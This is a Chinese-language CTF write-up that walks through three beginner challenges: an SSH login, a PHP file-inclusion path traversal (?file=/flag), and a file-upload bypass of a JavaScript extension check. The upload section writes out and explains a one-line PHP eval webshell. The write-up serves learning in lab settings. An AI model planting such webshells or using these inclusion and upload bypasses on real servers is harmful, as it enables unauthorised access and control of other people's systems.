
过于清爽初来乍到的小白显然不知从何入手……并且页面中的按钮也不过是摆设。
其实题目本身已经说明,要进行 ssh 远程连接。

虽然题目名显示需要 Linux ,但只是 ssh 的话,显然在 Windows 的命令行直接操作即可。
在 CMD 中输入以下命令发起连接:
ssh -p [端口号] [用户名]@[地址]
第一次连接会有如下提示,键入 yes 后回车,再输入密码即可连接成功。

ls 查看当前文件夹的内容。

~ ,所以这里访问上一层目录即访问根目录。输入命令 cd .. 再 ls 查看内容。

flag ,大概率访问这个文件即可。输入命令 cat flag.txt 打开文件。

打开页面为一段代码
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/7/9
* Time: 7:07 AM
*/
highlight_file(__FILE__);
if(isset($_GET['file'])) {
$str = $_GET['file'];
include $_GET['file'];
}file 的文件路径包含进去就能打开可能是我们需要的文件。那么我们需要的文件叫什么呢?有没有一种可能,他叫 flag ,假设假设成立,接下来验证一下。在 url 后加上 /?file=flag 回车。

../ 查找上一级目录,或直接使用 / 查找根目录。在 url 后加上 /?file=/flag 回车。

/?file=/flag ,也可以使用 /?file=../../../flag 。那显然还是直接访问根目录比较优雅。

upload 目录下。

jpg/png/gif 三种文件,老实说不支持 webp 我不是很认可。


这里可以先创建好一个文件,先编写好所谓的“一句话木马”。
一句话木马 将仅含一行代码的程序文件上传至目标网站,如 PHP 代码: <?php @eval($_POST["h-t-m"]);?>
@ 表示其后代码即使出错也将不会报错。eval() 函数表示将参数当作代码来执行。$_POST[] 表示以 post 方式获取变量。也就是说,我们将文件上传之后,即可用对应方法向网站提交代码并执行,这里使用 post 方法。虽然我们直接定义了自己的变量名 h-t-m ,但是 @ 可以保证不会报错。于是我们完全可以通过这个文件直接连接至服务器。
由于只是 js 检查,为表示对检查的尊重,我们大可以嚣张一点,将文件名命名为 木马.php 。

突破前端检查,可以直接修改对应的 js 代码,也可以直接在浏览器禁用 JavaScript ,或者直接删除 HTML 中对检查代码的调用。
以下三种方法任选其一即可
修改 js 代码需要在控制台重构函数,直接原地修改无效。查看语句找到该检查函数如下:
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}可以看出,文件类型的限定语句为 var allow_ext = ".jpg|.png|.gif"; 那么只要将我们要上传的文件的后缀名加入,并在控制台中执行即可:

禁用 JavaScript :右键——检查——设置——禁用即可

删除 HTML 中代码即删除如图语句即可

解除限制之后,便可以将文件上传了

刚开始对页面研究时我们得知,文件是直接上传至网页所在目录的 upload 目录下的,因此可以得知我们上传的文件的 url 为 http://靶机地址/upload/木马.php ,当然也可以在上传页直接查看文件地址。

<?php @eval($_POST["h-t-m"]);?> ,我们将通过 post 方法将内容传输至 h-t-m 变量中而实现入侵,而这个变量就是进入服务器所需要的连接密码。因此,输入变量名即可。



